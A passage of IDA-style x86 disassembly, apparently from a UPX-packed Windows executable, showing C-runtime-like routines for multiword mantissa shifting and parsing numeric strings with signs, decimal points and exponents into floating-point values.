		jl	short loc_41A4C7
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_41A501:				; CODE XREF: sub_41A2EF+229j
		cmp	edx, eax
		jl	short loc_41A50D
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41A512
; ---------------------------------------------------------------------------


loc_41A50D:				; CODE XREF: sub_41A2EF+214j
		and	[ebp+edx*4+var_20], 0


loc_41A512:				; CODE XREF: sub_41A2EF+21Cj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41A501
		mov	esi, dword_42E050
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_41A541
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A541:				; CODE XREF: sub_41A2EF+24Bj
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_41A5DC
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41A56C
; ---------------------------------------------------------------------------


loc_41A567:				; CODE XREF: sub_41A2EF+283j
		cmp	[ebp+eax*4+var_20], 0


loc_41A56C:				; CODE XREF: sub_41A2EF+276j
		jnz	short loc_41A576
		inc	eax
		cmp	eax, 3
		jl	short loc_41A567
		jmp	short loc_41A5DC
; ---------------------------------------------------------------------------


loc_41A576:				; CODE XREF: sub_41A2EF:loc_41A56Cj
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41A590
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi


loc_41A590:				; CODE XREF: sub_41A2EF+29Aj
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_41A5AC
		cmp	edi, edx
		jnb	short loc_41A5B3


loc_41A5AC:				; CODE XREF: sub_41A2EF+2B7j
		mov	[ebp+arg_0], 1


loc_41A5B3:				; CODE XREF: sub_41A2EF+2BBj
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_41A5D9
; ---------------------------------------------------------------------------


loc_41A5BA:				; CODE XREF: sub_41A2EF+2EBj
		test	ecx, ecx
		jz	short loc_41A5DC
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_41A5D2
		cmp	esi, 1
		jnb	short loc_41A5D5


loc_41A5D2:				; CODE XREF: sub_41A2EF+2DCj
		xor	edi, edi
		inc	edi


loc_41A5D5:				; CODE XREF: sub_41A2EF+2E1j
		mov	[ecx], esi
		mov	ecx, edi


loc_41A5D9:				; CODE XREF: sub_41A2EF+2C9j
		dec	eax
		jns	short loc_41A5BA


loc_41A5DC:				; CODE XREF: sub_41A2EF+265j
					; sub_41A2EF+285j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41A5FC
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd


loc_41A5FC:				; CODE XREF: sub_41A2EF+2FEj
		mov	ecx, dword_42E054
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41A61D
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A61D:				; CODE XREF: sub_41A2EF+327j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi


loc_41A638:				; CODE XREF: sub_41A2EF+374j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41A638
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_41A672:				; CODE XREF: sub_41A2EF+39Aj
		cmp	edx, eax
		jl	short loc_41A67E
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41A683
; ---------------------------------------------------------------------------


loc_41A67E:				; CODE XREF: sub_41A2EF+385j
		and	[ebp+edx*4+var_20], 0


loc_41A683:				; CODE XREF: sub_41A2EF+38Dj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41A672


loc_41A68B:				; CODE XREF: sub_41A2EF+18Aj
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_41A7EF
; ---------------------------------------------------------------------------


loc_41A695:				; CODE XREF: sub_41A2EF+191j
		cmp	ebx, dword_42E048
		mov	ecx, dword_42E054
		jl	loc_41A754
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41A6D0
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A6D0:				; CODE XREF: sub_41A2EF+3DAj
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi


loc_41A6EB:				; CODE XREF: sub_41A2EF+427j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41A6EB
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_41A725:				; CODE XREF: sub_41A2EF+44Dj
		cmp	edx, eax
		jl	short loc_41A731
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41A736
; ---------------------------------------------------------------------------


loc_41A731:				; CODE XREF: sub_41A2EF+438j
		and	[ebp+edx*4+var_20], 0


loc_41A736:				; CODE XREF: sub_41A2EF+440j
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41A725
		mov	eax, dword_42E048
		mov	ecx, dword_42E05C
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_41A7EF
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A2EF+3B2j
		mov	eax, dword_42E05C
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41A77C
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_41A77C:				; CODE XREF: sub_41A2EF+486j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi


loc_41A797:				; CODE XREF: sub_41A2EF+4D6j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_41A797
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi


loc_41A7D4:				; CODE XREF: sub_41A2EF+4FCj
		cmp	edx, eax
		jl	short loc_41A7E0
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41A7E5
; ---------------------------------------------------------------------------


loc_41A7E0:				; CODE XREF: sub_41A2EF+4E7j
		and	[ebp+edx*4+var_20], 0


loc_41A7E5:				; CODE XREF: sub_41A2EF+4EFj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41A7D4
		xor	eax, eax


loc_41A7EF:				; CODE XREF: sub_41A2EF+3A1j
					; sub_41A2EF+460j
		pop	esi


loc_41A7F0:				; CODE XREF: sub_41A2EF+57j
					; sub_41A2EF+67j
		push	1Fh
		pop	ecx
		sub	ecx, dword_42E054
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_42E058
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41A825
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41A82F
; ---------------------------------------------------------------------------


loc_41A825:				; CODE XREF: sub_41A2EF+527j
		cmp	ecx, 20h
		jnz	short loc_41A82F
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx


loc_41A82F:				; CODE XREF: sub_41A2EF+534j
					; sub_41A2EF+539j
		pop	edi
		pop	ebx
		leave
		retn
sub_41A2EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A833	proc near		; CODE XREF: sub_4198D8+39p
					; sub_419980+39p

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_46		= dword	ptr -46h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_9		= byte ptr -9
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		xor	esi, esi
		mov	[ebp+var_78], eax
		mov	eax, [ebp+arg_4]
		inc	esi
		xor	ecx, ecx
		push	edi
		mov	[ebp+var_70], eax
		lea	edi, [ebp+var_20]
		mov	[ebp+var_74], ebx
		mov	[ebp+var_68], esi
		mov	[ebp+var_4C], ebx
		mov	[ebp+var_58], ebx
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_60], ebx
		mov	[ebp+var_64], ebx
		mov	[ebp+var_50], ebx
		mov	[ebp+var_6C], ebx
		cmp	[ebp+arg_1C], ebx
		jnz	short loc_41A89D
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		xor	eax, eax
		jmp	loc_41AEEB
; ---------------------------------------------------------------------------


loc_41A89D:				; CODE XREF: sub_41A833+49j
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_54], edx


loc_41A8A3:				; CODE XREF: sub_41A833+83j
		mov	al, [edx]
		cmp	al, 20h
		jz	short loc_41A8B5
		cmp	al, 9
		jz	short loc_41A8B5
		cmp	al, 0Ah
		jz	short loc_41A8B5
		cmp	al, 0Dh
		jnz	short loc_41A8B8


loc_41A8B5:				; CODE XREF: sub_41A833+74j
					; sub_41A833+78j ...
		inc	edx
		jmp	short loc_41A8A3
; ---------------------------------------------------------------------------


loc_41A8B8:				; CODE XREF: sub_41A833+80j
		mov	bl, 30h


loc_41A8BA:				; CODE XREF: sub_41A833+A8j
					; sub_41A833+BEj ...
		mov	al, [edx]
		inc	edx
		cmp	ecx, 0Bh	; switch 12 cases
		ja	loc_41AAF5	; default
					; jumptable 0041A8C6 case 10
		jmp	off_41AEFB[ecx*4] ; switch jump


loc_41A8CD:				; DATA XREF: UPX0:off_41AEFBo
		mov	cl, al		; jumptable 0041A8C6 case 0
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_41A8DD


loc_41A8D7:				; CODE XREF: sub_41A833+F9j
					; sub_41A833+14Cj
		push	3


loc_41A8D9:				; CODE XREF: sub_41A833+203j
					; sub_41A833+21Aj
		pop	ecx
		dec	edx
		jmp	short loc_41A8BA
; ---------------------------------------------------------------------------


loc_41A8DD:				; CODE XREF: sub_41A833+A2j
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_41A8F3


loc_41A8EE:				; CODE XREF: sub_41A833+161j
		push	5


loc_41A8F0:				; CODE XREF: sub_41A833+10Ej
					; sub_41A833+13Aj ...
		pop	ecx
		jmp	short loc_41A8BA
; ---------------------------------------------------------------------------


loc_41A8F3:				; CODE XREF: sub_41A833+B9j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_41A918
		dec	eax
		dec	eax
		jz	short loc_41A90C
		sub	eax, 3
		jnz	loc_41AA93


loc_41A908:				; CODE XREF: sub_41A833+11Aj
					; sub_41A833+169j
		mov	ecx, esi
		jmp	short loc_41A8BA
; ---------------------------------------------------------------------------


loc_41A90C:				; CODE XREF: sub_41A833+CAj
		push	2
		pop	ecx
		mov	[ebp+var_74], 8000h
		jmp	short loc_41A8BA
; ---------------------------------------------------------------------------


loc_41A918:				; CODE XREF: sub_41A833+C6j
		and	[ebp+var_74], 0
		push	2
		pop	ecx
		jmp	short loc_41A8BA
; ---------------------------------------------------------------------------


loc_41A921:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		mov	cl, al		; jumptable 0041A8C6 case 1
		sub	cl, 31h
		mov	[ebp+var_58], esi
		cmp	cl, 8
		jbe	short loc_41A8D7
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_41A943


loc_41A93F:				; CODE XREF: sub_41A833+1A9j
		push	4
		jmp	short loc_41A8F0
; ---------------------------------------------------------------------------


loc_41A943:				; CODE XREF: sub_41A833+10Aj
		cmp	al, 2Bh
		jz	short loc_41A96F
		cmp	al, 2Dh
		jz	short loc_41A96F
		cmp	al, bl
		jz	short loc_41A908


loc_41A94F:				; CODE XREF: sub_41A833+1B7j
		cmp	al, 43h
		jle	loc_41AA93
		cmp	al, 45h
		jle	short loc_41A96B
		cmp	al, 63h
		jle	loc_41AA93
		cmp	al, 65h
		jg	loc_41AA93


loc_41A96B:				; CODE XREF: sub_41A833+126j
		push	6
		jmp	short loc_41A8F0
; ---------------------------------------------------------------------------


loc_41A96F:				; CODE XREF: sub_41A833+112j
					; sub_41A833+116j ...
		dec	edx
		push	0Bh
		jmp	loc_41A8F0
; ---------------------------------------------------------------------------


loc_41A977:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		mov	cl, al		; jumptable 0041A8C6 case 2
		sub	cl, 31h
		cmp	cl, 8
		jbe	loc_41A8D7
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_41A8EE
		cmp	al, bl
		jz	loc_41A908


loc_41A9A2:				; CODE XREF: sub_41A833+1FBj
					; sub_41A833:loc_41AA61j
		mov	edx, [ebp+var_54]
		jmp	loc_41AABE
; ---------------------------------------------------------------------------


loc_41A9AA:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		mov	[ebp+var_58], esi ; jumptable 0041A8C6 case 3
		jmp	short loc_41A9C9
; ---------------------------------------------------------------------------


loc_41A9AF:				; CODE XREF: sub_41A833+198j
		cmp	al, 39h
		jg	short loc_41A9CD
		cmp	[ebp+var_4C], 19h
		jnb	short loc_41A9C3
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		jmp	short loc_41A9C6
; ---------------------------------------------------------------------------


loc_41A9C3:				; CODE XREF: sub_41A833+184j
		inc	[ebp+var_50]


loc_41A9C6:				; CODE XREF: sub_41A833+18Ej
		mov	al, [edx]
		inc	edx


loc_41A9C9:				; CODE XREF: sub_41A833+17Aj
		cmp	al, bl
		jge	short loc_41A9AF


loc_41A9CD:				; CODE XREF: sub_41A833+17Ej
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_41A93F


loc_41A9E2:				; CODE XREF: sub_41A833+1D8j
					; sub_41A833+1F2j
		cmp	al, 2Bh
		jz	short loc_41A96F
		cmp	al, 2Dh
		jz	short loc_41A96F
		jmp	loc_41A94F
; ---------------------------------------------------------------------------


loc_41A9EF:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		cmp	[ebp+var_4C], 0	; jumptable 0041A8C6 case 4
		mov	[ebp+var_58], esi
		mov	[ebp+var_5C], esi
		jnz	short loc_41AA21
		jmp	short loc_41AA03
; ---------------------------------------------------------------------------


loc_41A9FD:				; CODE XREF: sub_41A833+1D2j
		dec	[ebp+var_50]
		mov	al, [edx]
		inc	edx


loc_41AA03:				; CODE XREF: sub_41A833+1C8j
		cmp	al, bl
		jz	short loc_41A9FD
		jmp	short loc_41AA21
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A833+1F0j
		cmp	al, 39h
		jg	short loc_41A9E2
		cmp	[ebp+var_4C], 19h
		jnb	short loc_41AA1E
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		dec	[ebp+var_50]


loc_41AA1E:				; CODE XREF: sub_41A833+1DEj
		mov	al, [edx]
		inc	edx


loc_41AA21:				; CODE XREF: sub_41A833+1C6j
					; sub_41A833+1D4j
		cmp	al, bl
		jge	short loc_41AA09
		jmp	short loc_41A9E2
; ---------------------------------------------------------------------------


loc_41AA27:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		sub	al, bl		; jumptable 0041A8C6 case 5
		mov	[ebp+var_5C], esi
		cmp	al, 9
		ja	loc_41A9A2
		push	4
		jmp	loc_41A8D9
; ---------------------------------------------------------------------------


loc_41AA3B:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		lea	ecx, [edx-2]	; jumptable 0041A8C6 case 6
		mov	[ebp+var_54], ecx
		mov	cl, al
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_41AA52


loc_41AA4B:				; CODE XREF: sub_41A833+25Ej
					; sub_41A833+26Bj
		push	9
		jmp	loc_41A8D9
; ---------------------------------------------------------------------------


loc_41AA52:				; CODE XREF: sub_41A833+216j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_41AA7A
		dec	eax
		dec	eax
		jz	short loc_41AA6E
		sub	eax, 3


loc_41AA61:				; CODE XREF: sub_41A833+26Fj
		jnz	loc_41A9A2
		push	8
		jmp	loc_41A8F0
; ---------------------------------------------------------------------------


loc_41AA6E:				; CODE XREF: sub_41A833+229j
					; sub_41A833+287j
		or	[ebp+var_68], 0FFFFFFFFh
		push	7
		pop	ecx
		jmp	loc_41A8BA
; ---------------------------------------------------------------------------


loc_41AA7A:				; CODE XREF: sub_41A833+225j
					; sub_41A833+283j
		push	7
		jmp	loc_41A8F0
; ---------------------------------------------------------------------------


loc_41AA81:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		mov	[ebp+var_60], esi ; jumptable 0041A8C6 case 8
		jmp	short loc_41AA89
; ---------------------------------------------------------------------------


loc_41AA86:				; CODE XREF: sub_41A833+258j
		mov	al, [edx]
		inc	edx


loc_41AA89:				; CODE XREF: sub_41A833+251j
		cmp	al, bl
		jz	short loc_41AA86
		sub	al, 31h
		cmp	al, 8
		jbe	short loc_41AA4B


loc_41AA93:				; CODE XREF: sub_41A833+CFj
					; sub_41A833+11Ej ...
		dec	edx
		jmp	short loc_41AABE
; ---------------------------------------------------------------------------


loc_41AA96:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		mov	cl, al		; jumptable 0041A8C6 case 7
		sub	cl, 31h
		cmp	cl, 8
		jbe	short loc_41AA4B
		cmp	al, bl
		jmp	short loc_41AA61
; ---------------------------------------------------------------------------


loc_41AAA4:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		cmp	[ebp+arg_18], 0	; jumptable 0041A8C6 case 11
		jz	short loc_41AAF1
		movsx	eax, al
		sub	eax, 2Bh
		lea	ecx, [edx-1]
		mov	[ebp+var_54], ecx
		jz	short loc_41AA7A
		dec	eax
		dec	eax
		jz	short loc_41AA6E
		mov	edx, ecx


loc_41AABE:				; CODE XREF: sub_41A833+172j
					; sub_41A833+261j ...
		cmp	[ebp+var_58], 0
		mov	eax, [ebp+var_70]
		mov	[eax], edx
		jz	loc_41AEA6
		push	18h
		pop	eax
		cmp	[ebp+var_4C], eax
		jbe	short loc_41AAE5
		cmp	[ebp+var_9], 5
		jl	short loc_41AADE
		inc	[ebp+var_9]


loc_41AADE:				; CODE XREF: sub_41A833+2A6j
		dec	edi
		inc	[ebp+var_50]
		mov	[ebp+var_4C], eax


loc_41AAE5:				; CODE XREF: sub_41A833+2A0j
		cmp	[ebp+var_4C], 0
		jbe	loc_41AECD
		jmp	short loc_41AB4A
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: sub_41A833+275j
		push	0Ah
		pop	ecx
		dec	edx


loc_41AAF5:				; CODE XREF: sub_41A833+8Dj
					; sub_41A833+93j
					; DATA XREF: ...
		cmp	ecx, 0Ah	; default
					; jumptable 0041A8C6 case 10
		jnz	loc_41A8BA
		jmp	short loc_41AABE
; ---------------------------------------------------------------------------


loc_41AB00:				; CODE XREF: sub_41A833+93j
					; DATA XREF: UPX0:off_41AEFBo
		mov	[ebp+var_60], esi ; jumptable 0041A8C6 case 9
		xor	ecx, ecx
		jmp	short loc_41AB20
; ---------------------------------------------------------------------------


loc_41AB07:				; CODE XREF: sub_41A833+2EFj
		cmp	al, 39h
		jg	short loc_41AB2B
		imul	ecx, 0Ah
		movsx	esi, al
		lea	ecx, [ecx+esi-30h]
		cmp	ecx, 1450h
		jg	short loc_41AB26
		mov	al, [edx]
		inc	edx


loc_41AB20:				; CODE XREF: sub_41A833+2D2j
		cmp	al, bl
		jge	short loc_41AB07
		jmp	short loc_41AB2B
; ---------------------------------------------------------------------------


loc_41AB26:				; CODE XREF: sub_41A833+2E8j
		mov	ecx, 1451h


loc_41AB2B:				; CODE XREF: sub_41A833+2D6j
					; sub_41A833+2F1j
		mov	[ebp+var_64], ecx
		jmp	short loc_41AB3B
; ---------------------------------------------------------------------------


loc_41AB30:				; CODE XREF: sub_41A833+30Aj
		cmp	al, 39h
		jg	loc_41AA93
		mov	al, [edx]
		inc	edx


loc_41AB3B:				; CODE XREF: sub_41A833+2FBj
		cmp	al, bl
		jge	short loc_41AB30
		jmp	loc_41AA93
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41A833+31Bj
		dec	[ebp+var_4C]
		inc	[ebp+var_50]


loc_41AB4A:				; CODE XREF: sub_41A833+2BCj
		dec	edi
		cmp	byte ptr [edi],	0
		jz	short loc_41AB44
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_4C]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41BC8C
		mov	eax, [ebp+var_64]
		xor	edx, edx
		add	esp, 0Ch
		cmp	[ebp+var_68], edx
		jge	short loc_41AB6F
		neg	eax


loc_41AB6F:				; CODE XREF: sub_41A833+338j
		add	eax, [ebp+var_50]
		cmp	[ebp+var_60], edx
		jnz	short loc_41AB7A
		add	eax, [ebp+arg_10]


loc_41AB7A:				; CODE XREF: sub_41A833+342j
		cmp	[ebp+var_5C], edx
		jnz	short loc_41AB82
		sub	eax, [ebp+arg_14]


loc_41AB82:				; CODE XREF: sub_41A833+34Aj
		cmp	eax, 1450h
		jg	loc_41AEAF
		cmp	eax, 0FFFFEBB0h
		jl	loc_41AEC6
		mov	ecx, offset dword_42E060
		sub	ecx, 60h
		mov	[ebp+var_54], eax
		cmp	eax, edx
		jz	loc_41AE94
		jge	short loc_41ABBA
		neg	eax
		mov	ecx, offset dword_42E1C0
		mov	[ebp+var_54], eax
		sub	ecx, 60h


loc_41ABBA:				; CODE XREF: sub_41A833+378j
		cmp	[ebp+arg_C], edx
		jnz	short loc_41ABC5
		xor	eax, eax
		mov	word ptr [ebp+var_3C], ax


loc_41ABC5:				; CODE XREF: sub_41A833+38Aj
		cmp	[ebp+var_54], edx
		jz	loc_41AE94
		jmp	short loc_41ABD5
; ---------------------------------------------------------------------------


loc_41ABD0:				; CODE XREF: sub_41A833+65Bj
		mov	ecx, [ebp+var_7C]
		xor	edx, edx


loc_41ABD5:				; CODE XREF: sub_41A833+39Bj
		mov	eax, [ebp+var_54]
		sar	[ebp+var_54], 3
		add	ecx, 54h
		and	eax, 7
		mov	[ebp+var_7C], ecx
		cmp	eax, edx
		jz	loc_41AE8A
		imul	eax, 0Ch
		add	eax, ecx
		mov	ebx, eax
		mov	eax, 8000h
		cmp	[ebx], ax
		jb	short loc_41AC0C
		mov	esi, ebx
		lea	edi, [ebp+var_48]
		movsd
		movsd
		movsd
		dec	[ebp+var_46]
		lea	ebx, [ebp+var_48]


loc_41AC0C:				; CODE XREF: sub_41A833+3C9j
		movzx	ecx, word ptr [ebx+0Ah]
		xor	eax, eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_32]
		mov	esi, ecx
		mov	edx, 7FFFh
		xor	esi, eax
		and	eax, edx
		and	ecx, edx
		and	esi, 8000h
		mov	edi, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+var_70], esi
		movzx	edx, dx
		cmp	ax, di
		jnb	loc_41AE6C
		cmp	cx, di
		jnb	loc_41AE6C
		mov	edi, 0BFFDh
		cmp	dx, di
		ja	loc_41AE6C
		mov	esi, 3FBFh
		cmp	dx, si
		ja	short loc_41AC79
		xor	eax, eax
		mov	[ebp+var_38], eax
		mov	[ebp+var_3C], eax
		jmp	loc_41AE87
; ---------------------------------------------------------------------------


loc_41AC79:				; CODE XREF: sub_41A833+437j
		xor	esi, esi
		cmp	ax, si
		jnz	short loc_41AC9F
		inc	edx
		test	dword ptr [ebp-34h], 7FFFFFFFh
		jnz	short loc_41AC9F
		cmp	[ebp+var_38], esi
		jnz	short loc_41AC9F
		cmp	[ebp+var_3C], esi
		jnz	short loc_41AC9F
		xor	eax, eax
		mov	word ptr [ebp+var_32], ax
		jmp	loc_41AE8A
; ---------------------------------------------------------------------------


loc_41AC9F:				; CODE XREF: sub_41A833+44Bj
					; sub_41A833+455j ...
		cmp	cx, si
		jnz	short loc_41ACC5
		inc	edx
		test	dword ptr [ebx+8], 7FFFFFFFh
		jnz	short loc_41ACC5
		cmp	[ebx+4], esi
		jnz	short loc_41ACC5
		cmp	[ebx], esi
		jnz	short loc_41ACC5
		mov	[ebp-34h], esi
		mov	[ebp+var_38], esi
		mov	[ebp+var_3C], esi
		jmp	loc_41AE8A
; ---------------------------------------------------------------------------


loc_41ACC5:				; CODE XREF: sub_41A833+46Fj
					; sub_41A833+479j ...
		mov	[ebp+var_68], esi
		lea	edi, [ebp+var_28]
		mov	[ebp+var_58], 5


loc_41ACD2:				; CODE XREF: sub_41A833+50Cj
		mov	eax, [ebp+var_68]
		mov	ecx, [ebp+var_58]
		add	eax, eax
		mov	[ebp+var_64], ecx
		test	ecx, ecx
		jle	short loc_41AD33
		lea	eax, [ebp+eax+var_3C]
